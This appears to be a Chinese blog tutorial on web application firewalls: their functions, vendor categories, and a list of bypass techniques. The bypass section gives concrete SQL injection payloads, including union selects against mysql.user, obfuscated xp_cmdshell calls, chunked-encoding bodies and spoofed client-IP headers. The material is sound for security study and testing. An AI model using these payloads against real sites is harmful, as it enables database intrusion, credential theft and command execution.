sqlmap绕过d盾_Waf功能、分类与绕过

764d9b96374745fcf4557a1529d7baab.png

## 一. waf工作原理

Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

常见的系统攻击分为两类:

- 一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;

- 二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

#### 1. waf简介

WAF是Web应用防火墙(Web Application Firewall)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。WAF分为硬件WAF、软件WAF(ModSecurity)和云WAF。

WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

#### 1. WAF主要功能

1. 网马木马主动防御及查杀

网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%

2. 流量监控

能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况

3. 网站漏洞防御功能

可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。

4. 危险组件防护功能

全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全

5. .Net安全保护模块

快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全

6. 双层防盗链链接模式

可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面

7. 网站特定资源防下载

支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载

8. CC攻击防护

自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。

9. 网站流量保护

支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。

10.IP黑白名单

全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。

## 二、市场Waf分类

#### 1. 硬件Waf:

绿盟、启明、安恒、知道创宇、天融信等

硬件Waf通常的安装方式是将Waf串行部署在Web服务器前端,用于检测、阻断异常流量。

常规硬件Waf的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。

#### 2. 软件Waf:

安全狗、云锁、中间件自带的Waf模块、D盾等

软件Waf则是安装在需要防护的服务器上,实现方式通常是Waf监听端口或以Web容器扩展方式进行请求检测和阻断。

#### 3. 云WAF:

阿里云、安全狗、安恒、知道创宇、腾讯网站管家等

云WAF,也称WEB应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。

## 三、Waf绕过方法

#### 1、burp安装waf模块

- 步骤:插件扩展--BApp Store--Bypass WAF

- 项目选项--会议--会话处理规则--添加

![](http://oss.songboy.site/blog/20201114195645.png)

![](http://oss.songboy.site/blog/20201114200627.png)

#### 2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录

- 把User-Agent修改百度等各大搜索引擎的便可以绕过,把此处替换为百度等搜索引擎的User-Agent

![](http://oss.songboy.site/blog/20201114210534.png)

#### 3、编码绕过,把SQL语句编码便可以绕过waf

![](http://oss.songboy.site/blog/20201114210943.png)

#### 4、修改请求方式绕过

![](http://oss.songboy.site/blog/20201114212238.png)

- 利用waf的默认规则绕过,如默认只针对GET拦截,不对post拦截,那我们就可以用POST方式传输绕过waf

#### 5、复合参数绕过

- 例如一个请求是这样的

`GET /pen/news.php?id=1 union select user,password from mysql.user`

- 可以修改为

`GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user`

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句

#### 6、WAF触发规则的绕过

##### 特殊字符替换空格:`%0a/**/` `/*|%23--%23|*/`

##### 特殊字符拼接:`+`

- 如:`GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')`

- 可以改为:`GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')`

##### 注释包含关键字

如: `GET /pen/news.php?id=1 union select user,password from mysql.user`

可以改为: `GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user`

##### 空格替换法

- 把空格替换成`%0a/**/`可以绕过

##### 使用大小写

- `http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….`

##### 双写绕过

- `UNIunionON SELselectECT 1,2,3,4….`经过waf过滤后就变成`union select 1,2,3,4....`

##### 异或绕过

- `lucy' Xor '1'='1' #`

利用WAF本身的功能绕过,把"*"替换为空 uni*on+sel*ect+1,2,3,4....

##### 组合法:编码与注释

1、 替换法+URL编码 2、注释+替换法 3、内联注释+替换法

把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-1

#### 7、分块传输绕过

```

Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked

Content-Length: 87

4

id=1

6

union

7

select

2

1

8

,user(),

5

3,4,5

0

```

Transfer-Encoding: chunked

id=1 union select 1,user(),3,4,5

#### 8、 云waf绕过

寻找真实ip绕过云waf

#### 9、 云waf伪造请求包头信息

```

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Client-IP: 127.0.0.1

```

绕过waf的方法有很多,也有许多方式被时代淘汰,你需要不停的思考绕过它的各种可能性,不断的去完善它。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/340027.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

maven的常见问题_Maven常见问题和陷阱

maven的常见问题喜欢它还是讨厌它(很多人似乎都讨厌它), Maven是64%的Java开发人员广泛使用的工具(来源– 2014年Java工具和技术前景 )。 大多数经验丰富的开发人员已经对Maven感到头疼。 通常以困难的方式…

matlab graphic,Matlab图形系统,Matlab Graphic System,音标,读音,翻译,英文例句,英语词典...

Image:114994698204558.jpgmatlabmatlab是矩阵实验室(matrix laboratory)之意。除具备卓越的数值计算能力外,它还提供了专业水平的符号计算,文字处理,可视化建模仿真和实时控制等功能。matlab的基本数据单位是矩阵,它的指令表达式…

python调用opengl_Python运行OpenGL示例

说明python的opengl库叫PyOpenGL,安装这个库的时候要注意位数版本要正确,比如我的python37是32位的,安装PyOpenGL-3.1.5-cp37-cp37m-win32.whl才行,默认pip安装的运行时可能会有问题,所以需要手动下载安装对应版本的wh…

php内置的数组函数大全,php数组的内置函数大全

1.array_change_key_case($arr,CASE_UPPER/CASE_LOWER)将$arr的键值转换为大写或者小写2.array_combine($arr1, $arr2) $arr1的值作为键,$arr2作为值生成后返回新的数组3.array_key_exists(‘key’, $arr)$arr中是否存在key,如果存在返回true,如果不存在…

用vs写python和c++需要哪些工具包_从运行效率与开发效率比较Python和C++

之前有人一直在说python怎么怎么好用,也有人说C太难了,下面我做了一些笔记:1、运行效率:C >> PythonPython代码和C最终都会变成CPU指令来跑,但一般情况下,比如反转和合并两个字符串,Pytho…

JUnit5 TestSuite替代

JUnit4具有TestSuite类来聚合多个测试。 这在JUnit 5中不可用。通常,通过套件中的一堆命名测试进行的测试发现有些糟透了。 但是,如果目标不是测试发现,而是不同测试类之间的资源共享,那么创建父对象是有意义的。 JUnit 5提供了N…

oracle 日志丢失,Oracle联机日志文件丢失解决方法一例

由于丢失的当前的联机日志文件,所以可能会丢失部分数据,破坏数据库的完整性,而且普通的重建日志文件的方式是不可行的,这个时候我们需要借助隐含参数_ALLOW_READ_ONLY_CORRUPTION或者_ALLOW_RESETLOGS_CORRUPTION打开数据库。打开…

junit:junit_简而言之,JUnit:测试隔离

junit:junit作为顾问,我仍然经常遇到程序员,他们对JUnit及其正确用法的理解最多。 这使我有了编写多部分教程的想法,以从我的角度解释要点。 尽管存在一些有关使用该工具进行测试的好书和文章,但是也许可以通过本动手实践系列中的…

python基本模块中的对象_Python 学习笔记 -- OS模块的常用对象方法

1 #这里列举在os模块中关于文件/目录常用的函数使用方法23 #这里需要注意下,在使用这些方法前记得导入os模块4 import os #导入os模块5 """6 os对象方法:7 os.getcwd() #返回当前工作目录8 os.chdir(path) #改变工作目录9 os.listdir(pat…

OCA第2部分中的Java难题

欢迎使用OCA的Java Puzzlers的第二部分。 在这一部分中,我们将看到一个有趣的案例,涉及Java 7附带的数字文字中的下划线分隔符。 在下面的类中,您可以在十进制文字中看到分隔符下划线。 还请注意,该类现在可以正常编译。 八进制是…

msflexgrid允许大选择_选择复式楼、跃层和别墅的装修业主如何做好家里的楼梯...

点击上面蓝色字体关注!装修图例 | 别墅装修 | 装潢装饰 | 样板楼梯 | 装修设计很多复式或者别墅的房子,楼梯是不可缺少的建筑,大部分楼梯是连接客厅以及卧室的,很多朋友都选择在楼梯上面铺地板,木地板的改装空间大&…

php程序xml有必要学习吗,对初学者非常有用的PHP技巧

对初学者非常有用的PHP技巧echo "I is : $i ;}echo print_footer();那么,为什么你应该做输出缓冲呢:你可以在将输出发送给浏览器之前更改它,如果你需要的话。例如做一些str_replaces,或者preg_replaces,又或者是在…

OCA第1部分中的Java难题

我在业余时间正在阅读Mala Gupta的Oracle认证Java SE程序员助理书,我对所学到的一些新知识感到惊讶。 有时候他们真的没有任何意义,有时候他们虽然有道理,但确实令人惊讶。 因此,在本系列文章中,我想将它们共享为“ Ja…

oracle创建数据库用户并授权,oracle创建数据库、表空间、用户并授权

1、创建数据库简单的方式是使用Database Configuration Assistant数据库配置工具根据向导创建2、创建表空间在实际使用中需要创建自定义的表空间和临时表空间2.1、创建表空间create tablespace tabspace_nameloggingdatafile E:\app\oratable_space\ tabspace_name_temp.dbfsiz…

mysql 查询 系统字段 自然日_Mysql查询用户留存/留存率问题用户n日(内)留存、某日新增用户n日(内)留存...

Mysql查询用户留存/留存率语法计算某日的客户在第n日再次出现的概率--用户n日留存率。计算某日的客户在某个时间段内再次出现的概率--用户n日内留存率。计算某日新增的用户在第n日再次出现的概率--新用户n日留存率。计算某日新增的用户在某个时间段内再次出现的概率--新用户n日…

ajax 示例_通过示例了解挥发

ajax 示例我们已经花了几个月的时间来稳定Plumbr中的锁定检测功能 。 在此期间,我们遇到了许多棘手的并发问题。 许多问题是独特的,但是一种特殊类型的问题一直反复出现。 您可能已经猜到了–滥用volatile关键字。 我们已经发现并解决了许多问题&#x…

oracle long转为string,实现全局拦截前端传入的Long类型id转String

1遇到的问题在开发过程中存在这样一种问题,我们使用的id主键主要有long类型和varchar类型当主键id为long类型并且长度超过16位,当返回给前端时,前端会出现js解析的参数如果是Long类型的并且长度过大就会出现精度丢失。这就会造成后台返回的值…

springboot 多线程_redis官方推荐:SpringBoot用这个,一键多线程

Lettuce是一个可伸缩的线程安全的Redis客户端,提供了同步,异步和响应式使用方式。 如果多线程避免阻塞和事务操作(如BLPOP和MULTI / EXEC),则多个线程可共享一个连接。 Lettuce使用通信使用netty。 支持先进的Redis功能,如Sentine…

oracle查询最高一条记录,oracle 查询已有记录,上一条记录,下一条记录

oracle可以使用 lead、lag 函数来查询已有记录的下一条、上一条记录。表结构如下:如要查询Staffno是6-1102的前一条记录select * from staff where staff_no(select c.p from (select staff_no,lag(staff_no,1,0) over (order by staff_no) as p from staff) c wh…

使用Maven进行增量构建

这是2020年,如果您要启动任何新的基于Java的项目,则应优先选择gradle,但由于某些原因,如果您仍然对Maven感兴趣,那么您可能会发现这篇文章有用。 Maven Java / scala编译器插件对增量编译提供了不错的支持&#xff0c…